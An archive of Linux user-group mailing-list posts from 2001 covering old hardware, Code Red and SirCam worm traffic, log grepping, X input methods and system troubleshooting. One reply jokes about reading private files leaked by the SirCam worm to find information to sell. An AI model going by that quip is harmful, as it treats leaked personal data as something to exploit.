http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010802/34c8524c/attachment.pgp From simeonuj at eetc.com Thu Aug 2 22:33:44 2001 From: simeonuj at eetc.com (Simeon Johnston) Date: Mon Jan 17 13:25:20 2005 Subject: [TCLUG] Stuff I found/got at auction. What now? Message-ID: <3B6A1B8C.972946AE@eetc.com> We got a bunch of crap that I'm not sure what to do with. I need ideas. A few Macs. 7100/80 - Not much in it. 7200/120 - No RAM/VRAM. Quadra 840AV - No HD (easily rectified) otherwise looks stacked. IIfx - Dual floppy, dual video, 32 MB ram (I was reall surprised by this) Now for the good stuff 2x - Apple IIe's. What can these possibly be used for? I don't even know what OS these run... Assorted NuBus cards Asante Lite ethernet Two Page MonoChrome card - 1989 date Macintosh Display Card - 1989/90 date 7x Apple IIci Cache cards Interesting stuff... 4x 3COM ISA 3c509TP/TPO (works well w/ Linux). Really interesting stuff i.e. I have no idea. Spaceballs - ADB plugs works w/ *nix. 6 degree's of freedom. These are the old ones/don't work w/ anything but *nix. Several Xterminals - HP 700/RX. This explains everything. http://www.cb3rob.net/~sven/xterm/ Even has the boot images. BlackBox FiberOptic Repeater BlackBox Terminal Server That's about it for the stuff I don't know what to do with. You want anything we can come to an arangement i.e. swap/trade/give. Suggestions for what it can be used for are desired (creative suggestions please. I already have boat anchors/door stops etc.). I want to know what this old crap can still do that's of any use. sim From spencer at sihope.com Thu Aug 2 22:38:00 2001 From: spencer at sihope.com (SpencerUnderground) Date: Mon Jan 17 13:25:20 2005 Subject: [TCLUG] Stuff I found/got at auction. What now? In-Reply-To: <3B6A1B8C.972946AE@eetc.com>; from simeonuj@eetc.com on Thu, Aug 02, 2001 at 10:33:44PM -0500 References: <3B6A1B8C.972946AE@eetc.com> Message-ID: <20010802223800.A1755@mudpiefoods.com> I would love to trade you an ne2k (ISA) and SMCUltra (ISA) for 2 of your 3com's. I am having a time getting two like boards working in the same computer. Otherwise I have other stuff I could swap ya. I will be at the meeting on Saturday. I would _love_ to come home with a new ISA nic. -- SpencerUnderground From pwargo at basenji.com Thu Aug 2 23:08:30 2001 From: pwargo at basenji.com (Peter L. Wargo) Date: Mon Jan 17 13:25:20 2005 Subject: [TCLUG] Re: [geeks] Stuff I found/got at auction. What now? In-Reply-To: <3B6A1B8C.972946AE@eetc.com> Message-ID: On Thu, 2 Aug 2001, Simeon Johnston wrote: > We got a bunch of crap that I'm not sure what to do with. I need ideas. > > A few Macs. > 7100/80 - Not much in it. mkLinux. Runs great on a 7100/80. > 7200/120 - No RAM/VRAM. Somwehre I have seen a G3 upgrade for this series now, but I don't think it's worth it... > Quadra 840AV - No HD (easily rectified) otherwise looks stacked. Trade it to me for my Quadra 950? :-) (I could use an 840AV) > IIfx - Dual floppy, dual video, 32 MB ram (I was reall surprised > by this) I think Net/Open BSD runs on the IIfx, it's one of my favorites. > Now for the good stuff > 2x - Apple IIe's. What can these possibly be used for? I don't even > know what OS these run... I have both apple DOS and ProDOS for these. You could also run UCSD pascal... (I have a //e, 2 2GS's, and 2 //c's...) > BlackBox Terminal Server Hmmm.... > That's about it for the stuff I don't know what to do with. > You want anything we can come to an arangement i.e. swap/trade/give. Contact me off-list, or via the macweenies@machelp.org list. _Pete ----- Peter L. Wargo pwargo@basenji.com Owner/operator of basenji.com. From chrome at real-time.com Thu Aug 2 23:12:32 2001 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:25:21 2005 Subject: [TCLUG] Stuff I found/got at auction. What now? In-Reply-To: <3B6A1B8C.972946AE@eetc.com>; from simeonuj@eetc.com on Thu, Aug 02, 2001 at 10:33:44PM -0500 References: <3B6A1B8C.972946AE@eetc.com> Message-ID: <20010802231232.G26452@real-time.com> > 2x - Apple IIe's. What can these possibly be used for? I don't even > know what OS these run... they don't really have an OS... there's an Apple BASIC interpreter built into the ROM (sometimes I wish x86 boxen had something like this..); which serves as a bootloader for whatever program you have. somewhere I probably still have a pile of 5.25" floppies with my Apple BASIC programs on it. > 7x Apple IIci Cache cards what the heck is this? never having taken apart my apple IIc (no need); I don't even know where a card might fit in the things. > Spaceballs - ADB plugs works w/ *nix. 6 degree's of freedom. These > are the old ones/don't work w/ anything but *nix. oooh. is Dark Helmet one of them? What about Lone Starr? ;> Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From cfandre at fandre.com Thu Aug 2 23:27:19 2001 From: cfandre at fandre.com (Clay Fandre) Date: Mon Jan 17 13:25:21 2005 Subject: [TCLUG] Stuff I found/got at auction. What now? In-Reply-To: <3B6A1B8C.972946AE@eetc.com> Message-ID: <20010802232719.G7185@fandre.com> Post that stuff on the classifieds!!! http://www.mn-linux.org/cgi-bin/classifieds/classifieds.cgi Simeon Johnston [simeonuj@eetc.com] wrote: > We got a bunch of crap that I'm not sure what to do with. I need ideas. > > A few Macs. > 7100/80 - Not much in it. > 7200/120 - No RAM/VRAM. > Quadra 840AV - No HD (easily rectified) otherwise looks stacked. > IIfx - Dual floppy, dual video, 32 MB ram (I was reall surprised by this) > > Now for the good stuff > 2x - Apple IIe's. What can these possibly be used for? I don't even > know what OS these run... > > Assorted NuBus cards > Asante Lite ethernet > Two Page MonoChrome card - 1989 date > Macintosh Display Card - 1989/90 date > 7x Apple IIci Cache cards > > Interesting stuff... > 4x 3COM ISA 3c509TP/TPO (works well w/ Linux). > > Really interesting stuff i.e. I have no idea. > Spaceballs - ADB plugs works w/ *nix. 6 degree's of freedom. These > are the old ones/don't work w/ anything but *nix. > Several Xterminals - HP 700/RX. > This explains everything. > http://www.cb3rob.net/~sven/xterm/ > Even has the boot images. > BlackBox FiberOptic Repeater > BlackBox Terminal Server > > That's about it for the stuff I don't know what to do with. > You want anything we can come to an arangement i.e. swap/trade/give. > > Suggestions for what it can be used for are desired (creative > suggestions please. I already have boat anchors/door stops etc.). I > want to know what this old crap can still do that's of any use. > > sim > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From ming at mongo.evil-overlords.com Thu Aug 2 18:03:47 2001 From: ming at mongo.evil-overlords.com (ming@mongo.evil-overlords.com) Date: Mon Jan 17 13:25:21 2005 Subject: [TCLUG] Re: [geeks] Stuff I found/got at auction. What now? Message-ID: <200108022303.f72N3lf05308@mongo.evil-overlords.com> Well I happen to have a 8100/100 with just a bad PS. Can't remember how much memory is in it, either 64 or 128, also a 1gigHD, so slap that stuff in your 7100 and that would be a nice mkLinux machine. There are g3 upgrades for the 7100/8100 not sure about the 7200 since its proc is on the board. Jason >On Thu, 2 Aug 2001, Simeon Johnston wrote: > >> We got a bunch of crap that I'm not sure what to do with. I need ideas. >> >> A few Macs. >> 7100/80 - Not much in it. > >mkLinux. Runs great on a 7100/80. > >> 7200/120 - No RAM/VRAM. > >Somwehre I have seen a G3 upgrade for this series now, but I don't think >it's worth it... > >> Quadra 840AV - No HD (easily rectified) otherwise looks stacked. > >Trade it to me for my Quadra 950? :-) (I could use an 840AV) > >> IIfx - Dual floppy, dual video, 32 MB ram (I was reall surprised >> by this) > >I think Net/Open BSD runs on the IIfx, it's one of my favorites. > >> Now for the good stuff >> 2x - Apple IIe's. What can these possibly be used for? I don't even >> know what OS these run... > >I have both apple DOS and ProDOS for these. You could also run UCSD >pascal... > >(I have a //e, 2 2GS's, and 2 //c's...) > >> BlackBox Terminal Server > >Hmmm.... > >> That's about it for the stuff I don't know what to do with. >> You want anything we can come to an arangement i.e. swap/trade/give. > >Contact me off-list, or via the macweenies@machelp.org list. > >_Pete >----- >Peter L. Wargo >pwargo@basenji.com >Owner/operator of basenji.com. > >_______________________________________________ >tclug-list mailing list >tclug-list@mn-linux.org >https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From lueyb at gridley.ACNS.Carleton.edu Thu Aug 2 23:25:40 2001 From: lueyb at gridley.ACNS.Carleton.edu (Ben Luey) Date: Mon Jan 17 13:25:21 2005 Subject: [TCLUG] Japanese input in X In-Reply-To: <200108022038.f72KcmQ05906@sprite.real-time.com> Message-ID: I got xemacs working with mule for Japanese input, but that was the only program -- no netscape or any other gui. If you find something, please let me know. Gambate, Ben On Thu, 2 Aug 2001 peter.clark@tides.com wrote: > This is actually a question for my father-in-law, who's out in Sapporo, > Japan. He really wants to make Linux his primary OS, but is being held back > by not knowing how to input Japanese in X. I helped him last summer to set > up kinput2 (or canna, I don't remember which), but I could only get that to > work with kterm. Of course, what he really needs is a way to input Japanese > into a word processor. So: does anyone speak Japanese and have it in X? If > so, whatinput method would you recommed? Kinput2, canna, wnn? What word > processor? StarOffice? Abiword? Kword? I found this picture > (http://www.kde.gr.jp/~toshitaka/Kde/KOffice/KWord/xim.png) which shows the > recently patched version of Kword with Japanese input, which looks like it > would be perfect for him, although I don't know what input method is being > used. (As far as I know, XIM is just a generic term.) > Otherwise, if all else fails, I'll just point him in the direction of > the Sapporo LUG. He's on vacation right now, so I thought it would be nice > to do a little research for him first. Except that I don't know Japanese, > which makes reading the documentation a little difficult. :) > :Peter > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From lueyb at gridley.ACNS.Carleton.edu Thu Aug 2 23:31:15 2001 From: lueyb at gridley.ACNS.Carleton.edu (Ben Luey) Date: Mon Jan 17 13:25:21 2005 Subject: [TCLUG] php check html -- secure Message-ID: I'm writing a php page that will display user input from a form on a page. Is there a program that I can run the user input through to make sure it isn't malious: or stupid html syntax errors that will mess up the look of the rest of the page:

blah blah .H1> I'd rather no block all html (ie just delete all < and >), but maybe only allow color, size and bold type stuff (frames could be annoying :) ) Thanks, Ben From austad at marketwatch.com Fri Aug 3 00:12:34 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:25:21 2005 Subject: [TCLUG] SirCam Message-ID: <54180709DD3FE145917BB165AFE7EFA00A840D@mspexch2.office.mktw.net> Now the fun part is reading them in Linux to see what kind of dirt people have on their hard drives. Who knows, you might find some intereting info to sell. :) -----Original Message----- From: Bob Tanner [mailto:tanner@real-time.com] Sent: Thursday, August 02, 2001 4:34 PM To: tclug-list@mn-linux.org Subject: [TCLUG] SirCam Wow! I got over 1Gb of SirCam mail and attachments today! -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From tanner at real-time.com Fri Aug 3 00:35:26 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:25:21 2005 Subject: [TCLUG] I'm paranoid about MS, but this... Message-ID: <20010803003526.A26779@real-time.com> http://www.pbs.org/cringely/pulpit/pulpit20010802.html Isn't replacing TCP/IP with TCP/MS on the Internet going to make MS even MORE of a monopoly? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From dieman+tclug at ringworld.org Fri Aug 3 01:03:11 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:25:21 2005 Subject: [TCLUG] Stuff I found/got at auction. What now? In-Reply-To: <3B6A1B8C.972946AE@eetc.com> Message-ID: <20010803010311.E6692@ringworld.org> * Simeon Johnston [010802 22:35]: > 7200/120 - No RAM/VRAM. I turned mine into a firewall. > Quadra 840AV - No HD (easily rectified) otherwise looks stacked. If its got ethernet and a decent amount of ram, i can provide a hard drive and get it on ethernet somewhere and turn it into a m68k build daemon for debian, its got a 040 40mhz... > BlackBox Terminal Server This is probally worth something, if its any good. How many ports does it have? -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From sos at zjod.net Fri Aug 3 01:15:08 2001 From: sos at zjod.net (Steve Siegfried) Date: Mon Jan 17 13:25:21 2005 Subject: [TCLUG] I'm paranoid about MS, but this... In-Reply-To: <20010803003526.A26779@real-time.com> from "Bob Tanner" at Aug 03, 2001 12:35:26 AM Message-ID: <200108030615.BAA18322@zjod.net> Bob Tanner wrote: > > http://www.pbs.org/cringely/pulpit/pulpit20010802.html > > Isn't replacing TCP/IP with TCP/MS on the Internet going to make MS even MORE of > a monopoly? > Actually, if you're Microsoft, it sounds like a plausable enough "story" to sell the idea to an unwitting public and government... and that's the scary part. Machiavelli is _not_ a type of pasta'idly, -S From sos at zjod.net Fri Aug 3 01:20:16 2001 From: sos at zjod.net (Steve Siegfried) Date: Mon Jan 17 13:25:21 2005 Subject: [TCLUG] Hotmail down? Message-ID: <200108030620.BAA18374@zjod.net> Just sent out my nightly copy of Ziggy's Joke o' the day and now find my outgoing mail queue full of stuff to hotmail.com addresses (and the maillog full of "host name lookup failure" messages). Is hotmail.com down, or is my ISP (Mediaone/AT&T) screwed up again? -S From ming at mongo.evil-overlords.com Thu Aug 2 22:11:36 2001 From: ming at mongo.evil-overlords.com (ming@mongo.evil-overlords.com) Date: Mon Jan 17 13:25:21 2005 Subject: [TCLUG] I'm paranoid about MS, but this... Message-ID: <200108030311.f733Ba305500@mongo.evil-overlords.com> Very scary indeed, now the idea of M$ trying that is very plausible, but it actually happening.....not so sure about that. Ofcourse I have kinda predicted that the internet would evolve into something kinda like that with the credit card and all, kinda "The Running Man"-ish. Either way some one has to run it all, M$ probably figures why not them. Jason >Bob Tanner wrote: >> >> http://www.pbs.org/cringely/pulpit/pulpit20010802.html >> >> Isn't replacing TCP/IP with TCP/MS on the Internet going to make MS even MORE of >> a monopoly? >> > >Actually, if you're Microsoft, it sounds like a plausable enough "story" to sell >the idea to an unwitting public and government... and that's the scary part. > >Machiavelli is _not_ a type of pasta'idly, > >-S >_______________________________________________ >tclug-list mailing list >tclug-list@mn-linux.org >https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From veldy at veldy.net Fri Aug 3 08:13:10 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:25:21 2005 Subject: [TCLUG] mysql password('') References: <3B691125.A6B77DB9@mn.mediaone.net> <004a01c11b56$8ca31540$3028680a@tgt.com> <20010802161013.C26377@real-time.com> Message-ID: <006601c11c1e$0c78e250$3028680a@tgt.com> I agree. I do my own user authentication and don't use DB level authentication for an application. The only authentication is for the application itself to login to the database. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Bob Tanner" To: Sent: Thursday, August 02, 2001 4:10 PM Subject: Re: [TCLUG] mysql password('') > Quoting Thomas T. Veldhouse (veldy@veldy.net): > > I don't believe so. I believe that it simply stores the MD5 hash -- which > > is a one-way hashing function. You have to create a new password if you > > don't remember it. > > I normally sort the crypt(3) version of passwords in the database. I believe php > has this ability and I wrote a Java version. > > I like to make the database tier of my application just persistent storage. I > keep all the logic in the business tier. > > -- > Bob Tanner | Phone : (952)943-8700 > http://www.mn-linux.org | Fax : (952)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From veldy at veldy.net Fri Aug 3 08:16:08 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:25:21 2005 Subject: [TCLUG] snowed red References: <3b694368.32b3.0@isd.net> <20010802082047.A23470@beaver.iucha.org> <20010802083717.2c3ae8eb.hick0088@tc.umn.edu> <20010802161100.D26377@real-time.com> Message-ID: <007001c11c1e$76199830$3028680a@tgt.com> 25 in July 54 in Aug So far ... Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Bob Tanner" To: Sent: Thursday, August 02, 2001 4:11 PM Subject: Re: [TCLUG] snowed red > Quoting Mike Hicks (hick0088@tc.umn.edu): > > "Florin Iucha" wrote: > > > > > > $ grep Aug access_log | grep default.ida | wc -l > > > 36 > > > > Just in case anyone doesn't want to type that much ;-) > > > > grep Aug access_log | grep -c default.ida > > > > % grep Aug access.log | grep -c default.ida > 150 > > > > -- > Bob Tanner | Phone : (952)943-8700 > http://www.mn-linux.org | Fax : (952)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From cart0196 at umn.edu Fri Aug 3 08:48:30 2001 From: cart0196 at umn.edu (Brian Carter-Stiglitz) Date: Mon Jan 17 13:25:21 2005 Subject: [TCLUG] Random reboots, and lock ups In-Reply-To: References: Message-ID: <01080308483000.00663@192.168.0.7> Well both the card and the version of X are possibilities, I am running a ATI Rage pro 128, and still have X 3 ruinning. Thanks, for the help- now I have a couple more things to explore. BCS On Thursday 02 August 2001 01:59 pm, you wrote: > On Thu, 2 Aug 2001, Brian Carter-Stiglitz wrote: > > OK I am not sure where to begin so here goes: I am running a modified > > Redhat 6.2 distribution put together by the U of Minn (Gopher Linux) as a > > KDE workstation. The distribution came with KDE 1.something and I > > upgraded it to 2.2.1. At any rate have been running it for about 3 weeks > > now, and the system has locked up 4 times while in kde (no mouse or > > keyboard, the 3 finger salute does nothing, > > In normal circumstances I'd say you have either an excess heat problem or > a wimpy PS. Since it appears to be oriented around your KDE upgrade, I > have to ask, is there an ATI card involved here? I had a problem with > Redhat (7.0 or 7.1) on my machine here at work where X would do the same > thing. I think it's still an issue, I just haven't had time to dink with > it. Anyway, I used to be a firm believer in ATI cards but I'm quickly > realizing that better alternatives exist. Or maybe it has nothing to do > with that at all. Could be that the new KDE is pissing off your exisitng > X version, have you upgraded to 4.x or are you on 3.x? > > -Brian > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From markbrowne at mn.mediaone.net Fri Aug 3 09:15:09 2001 From: markbrowne at mn.mediaone.net (Mark Browne) Date: Mon Jan 17 13:25:21 2005 Subject: [TCLUG] Hotmail down? References: <200108030620.BAA18374@zjod.net> Message-ID: <003901c11c26$b77f6900$6601a8c0@zippy> My hot mail stuff has been running very s-l-o-w-l-y on and off for the last few days. This includes accounts other than my mediaone ISP. I suspect they are having another un-publicized problem like last month. Perhaps they are running un-secured micro$oft servers? ----- Original Message ----- From: "Steve Siegfried" To: "Twin Cities Linux Users Group" Sent: Friday, August 03, 2001 1:20 AM Subject: [TCLUG] Hotmail down? > > Just sent out my nightly copy of Ziggy's Joke o' the day and now find > my outgoing mail queue full of stuff to hotmail.com addresses (and the > maillog full of "host name lookup failure" messages). > > Is hotmail.com down, or is my ISP (Mediaone/AT&T) screwed up again? > > -S > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From veldy at veldy.net Fri Aug 3 09:27:07 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:25:21 2005 Subject: [TCLUG] Hotmail down? References: <200108030620.BAA18374@zjod.net> <003901c11c26$b77f6900$6601a8c0@zippy> Message-ID: <00d101c11c28$61584950$3028680a@tgt.com> ----- Original Message ----- From: "Mark Browne" To: Sent: Friday, August 03, 2001 9:15 AM Subject: Re: [TCLUG] Hotmail down? > My hot mail stuff has been running very s-l-o-w-l-y on and off for the last > few days. > This includes accounts other than my mediaone ISP. > I suspect they are having another un-publicized problem like last month. > Perhaps they are running un-secured micro$oft servers? Almost all of their Hotmail servers run FreeBSD. However, the "worm" is probably hitting there network pretty hard, as I am sure there are plenty of IIS servers there doing other things that are no good. Tom Veldhouse veldy@veldy.net From veldy at veldy.net Fri Aug 3 09:28:17 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:25:21 2005 Subject: [TCLUG] Random reboots, and lock ups References: <01080308483000.00663@192.168.0.7> Message-ID: <00d801c11c28$8b363660$3028680a@tgt.com> Redhat 7.x detected my Radeon DDR just fine :) Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Brian Carter-Stiglitz" To: Sent: Friday, August 03, 2001 8:48 AM Subject: Re: [TCLUG] Random reboots, and lock ups > > Well both the card and the version of X are possibilities, I am running a ATI > Rage pro 128, and still have X 3 ruinning. Thanks, for the help- now I have > a couple more things to explore. > > BCS > > > On Thursday 02 August 2001 01:59 pm, you wrote: > > On Thu, 2 Aug 2001, Brian Carter-Stiglitz wrote: > > > OK I am not sure where to begin so here goes: I am running a modified > > > Redhat 6.2 distribution put together by the U of Minn (Gopher Linux) as a > > > KDE workstation. The distribution came with KDE 1.something and I > > > upgraded it to 2.2.1. At any rate have been running it for about 3 weeks > > > now, and the system has locked up 4 times while in kde (no mouse or > > > keyboard, the 3 finger salute does nothing, > > > > In normal circumstances I'd say you have either an excess heat problem or > > a wimpy PS. Since it appears to be oriented around your KDE upgrade, I > > have to ask, is there an ATI card involved here? I had a problem with > > Redhat (7.0 or 7.1) on my machine here at work where X would do the same > > thing. I think it's still an issue, I just haven't had time to dink with > > it. Anyway, I used to be a firm believer in ATI cards but I'm quickly > > realizing that better alternatives exist. Or maybe it has nothing to do > > with that at all. Could be that the new KDE is pissing off your exisitng > > X version, have you upgraded to 4.x or are you on 3.x? > > > > > > > > > -Brian > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From jethro at freakzilla.com Fri Aug 3 09:59:47 2001 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:25:22 2005 Subject: [TCLUG] Debian and X 4.1.0 In-Reply-To: Message-ID: Hi, On Thu, 2 Aug 2001, Nate Carlson wrote: > move /etc/X11/XF86Config to /etc/X11/XF86Config-4. *DUH* Guess who's been using the same XF86Config since X 3.3.1? (: -Yaron -- From dieman+tclug at ringworld.org Fri Aug 3 10:16:19 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:25:22 2005 Subject: [TCLUG] Hotmail down? In-Reply-To: <200108030620.BAA18374@zjod.net> Message-ID: <20010803101619.F6692@ringworld.org> * Steve Siegfried [010803 01:22]: > Is hotmail.com down, or is my ISP (Mediaone/AT&T) screwed up again? On a disjoint topic, theyve been 'patching' their mail servers at mediaone to stop sircam ;) downside, this morning: (connect to chmls12.mediaone.net[24.147.1.148]: read timeout) Was on one of the messages on the mqueue. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From HOEFFNER at dcmir.med.umn.edu Fri Aug 3 10:39:33 2001 From: HOEFFNER at dcmir.med.umn.edu (HOEFFNER@dcmir.med.umn.edu) Date: Mon Jan 17 13:25:22 2005 Subject: [TCLUG] I'm paranoid about MS, but this... Message-ID: <010803103933.20366303@dcmir.med.umn.edu> I imagine there isn't anyone on this list who can come up with a pile of reasons why this should not be so,, but that's no guarantee of anything. This is just the kind of thing these aholes would pull, and it's almost hard to see it not working. Create a problem and then market a supposed solution. Given the level of computer illiteracy in the nation (plenty of past discussion on this topic before) and the idiocy of the "leaders" of this country, it's certainly plausible. Imagine, the people who brought you the worst security in the world would be the guardians of all the confidential information. And people will buy this. Not everyone, of course, but there won't be enough fighters to stem the tide. What I really can't figure out is how all these computer science types are so silent. I'm reminded of the evolution debate (I **DO NOT** want to start a religious war or scinetific debate here). In scientific circles, there is no question to the validity of the theory. But there really isn't anyone to carry fight, so places outlaw it being taught in the schools. This is a battle that's been going on for decades and is still not over. So where are the poeple with the credentials to make this war winnable??? And the band played on... Ed Very scary indeed, now the idea of M$ trying that is very plausible, but it actually happening.....not so sure about that. Ofcourse I have kinda predicted that the internet would evolve into something kinda like that with the credit card and all, kinda "The Running Man"-ish. Either way some one has to run it all, M$ probably figures why not them. Jason >Bob Tanner wrote: >> >> http://www.pbs.org/cringely/pulpit/pulpit20010802.html >> >> Isn't replacing TCP/IP with TCP/MS on the Internet going to make MS even MORE of >> a monopoly? >> > >Actually, if you're Microsoft, it sounds like a plausable enough "story" to sell >the idea to an unwitting public and government... and that's the scary part. > >Machiavelli is _not_ a type of pasta'idly, > >-S >_______________________________________________ >tclug-list mailing list >tclug-list@mn-linux.org >https://mailman.mn-linux.org/mailman/listinfo/tclug-list > --------------570188187526635849469412-- _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From lxy at cloudnet.com Fri Aug 3 11:09:51 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:25:22 2005 Subject: [TCLUG] Random reboots, and lock ups In-Reply-To: <01080308483000.00663@192.168.0.7> Message-ID: On Fri, 3 Aug 2001, Brian Carter-Stiglitz wrote: > > Well both the card and the version of X are possibilities, I am running a ATI > Rage pro 128, and still have X 3 ruinning. Thanks, for the help- now I have > a couple more things to explore. How'd you get the Rage Pro working on X3? IIRC there isn't a set of drivers for it (unless they released it in a LATE version of X3) or you've tweaked the Mach64 driver in some fashion. If I were you I'd try using Gnome for awhile, just to see if you can isolate it down to XFree or the desktop manager. If it's a problem with X, try a different card. FYI the machine I have issues with has the identical video card in it. -Brian From cargods at storage.network.com Fri Aug 3 11:37:49 2001 From: cargods at storage.network.com (David S. Cargo) Date: Mon Jan 17 13:25:22 2005 Subject: [TCLUG] DSL-attached Linux safety Message-ID: <200108031637.LAA14299@rainier.network.com> I tried using linuxconf to find and turn off services, but I didn't see anything there. Is there some central place for enabling and disabling the different services? dsc From jethro at freakzilla.com Fri Aug 3 11:42:31 2001 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:25:22 2005 Subject: [TCLUG] DSL-attached Linux safety In-Reply-To: <200108031637.LAA14299@rainier.network.com> Message-ID: Hi, On Fri, 3 Aug 2001, David S. Cargo wrote: > I tried using linuxconf to find and turn off services, but I didn't > see anything there. > > Is there some central place for enabling and disabling the different > services? Run "chkconfig --list" to see a list of services. To turn one off, go "chkconfig off". -Yaron -- From cart0196 at umn.edu Fri Aug 3 11:57:16 2001 From: cart0196 at umn.edu (Brian Carter-Stiglitz) Date: Mon Jan 17 13:25:22 2005 Subject: [TCLUG] Random reboots, and lock ups In-Reply-To: References: Message-ID: <01080311571600.00823@192.168.0.7> erm, the card is an Xpert 98 (Xconfigurator identifies it as ATI Rage XL) bcs On Friday 03 August 2001 11:09 am, you wrote: > On Fri, 3 Aug 2001, Brian Carter-Stiglitz wrote: > > Well both the card and the version of X are possibilities, I am running a > > ATI Rage pro 128, and still have X 3 ruinning. Thanks, for the help- now > > I have a couple more things to explore. > > How'd you get the Rage Pro working on X3? IIRC there isn't a set of > drivers for it (unless they released it in a LATE version of X3) or you've > tweaked the Mach64 driver in some fashion. If I were you I'd try using > Gnome for awhile, just to see if you can isolate it down to XFree or the > desktop manager. If it's a problem with X, try a different card. > > FYI the machine I have issues with has the identical video card in it. > > -Brian > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From seg at haxxed.com Fri Aug 3 11:46:45 2001 From: seg at haxxed.com (Callum Lerwick) Date: Mon Jan 17 13:25:22 2005 Subject: [TCLUG] Fun with codered. Message-ID: <3B6AD575.1472044@haxxed.com> Okay so I managed to capture a copy of codered, and am having all kinds of fun picking it apart. And have also discovered why I'm seeing all kinds of broadcast pinging across my network. Seems the dominant strain of codered has been hacked to ping broadcast instead of the whitehouse. Bastards. ;P From simeonuj at eetc.com Fri Aug 3 12:06:39 2001 From: simeonuj at eetc.com (Simeon Johnston) Date: Mon Jan 17 13:25:22 2005 Subject: [TCLUG] Stuff I found/got at auction. What now? References: <3B6A1B8C.972946AE@eetc.com> <20010802231232.G26452@real-time.com> Message-ID: <3B6ADA03.5024EDE4@eetc.com> Carl Wilhelm Soderstrom wrote: > > > 2x - Apple IIe's. What can these possibly be used for? I don't even > > know what OS these run... > they don't really have an OS... there's an Apple BASIC interpreter > built into the ROM (sometimes I wish x86 boxen had something like this..); > which serves as a bootloader for whatever program you have. > somewhere I probably still have a pile of 5.25" floppies with my > Apple BASIC programs on it. We actually have/had one with a Z80 card in it. Man that looked interesting. IIRC Z80 is a pre x86 processor right? I think it was like the PC card in the 6100's. > > > 7x Apple IIci Cache cards > what the heck is this? never having taken apart my apple IIc (no > need); I don't even know where a card might fit in the things. There NuBus cards. sim From simeonuj at eetc.com Fri Aug 3 12:22:43 2001 From: simeonuj at eetc.com (Simeon Johnston) Date: Mon Jan 17 13:25:22 2005 Subject: [TCLUG] Stuff I found/got at auction. Revised: References: <3B6A1B8C.972946AE@eetc.com> Message-ID: <3B6ADDC5.F28E8CC@eetc.com> Okay. I spoke a little too soon. The macs we are trying to get rid of. The Spaceball are going up on Ebay. If you want to bid on them do a search for seller zorro (my bro) and you should be able to find it. I will try the Xterminals (one at least) on Ebay again and if they don't go it'll be back here. The same goes for the Spaceballs. Simeon Johnston wrote: Revized: > We got a bunch of crap that I'm not sure what to do with. I need ideas. > > A few Macs. > 7100/80 - Not much in it. > 7200/120 - No RAM/VRAM. > Quadra 840AV - No HD (easily rectified) otherwise looks stacked. > IIfx - Dual floppy, dual video, 32 MB ram (I was reall surprised by this) > > Now for the good stuff > 2x - Apple IIe's. What can these possibly be used for? I don't even > know what OS these run... > > Assorted NuBus cards > Asante Lite ethernet > Two Page MonoChrome card - 1989 date > Macintosh Display Card - 1989/90 date > 7x Apple IIci Cache cards > > Interesting stuff... > 4x 3COM ISA 3c509TP/TPO (works well w/ Linux). > > Really interesting stuff i.e. I have no idea. > BlackBox FiberOptic Repeater > BlackBox Terminal Server I, unfortuanetely, will not be there tommorrow so I spencer will have to wait for his dual 3com's. :) This stuff belongs to me AND my brothers so I'll ask them what they want to 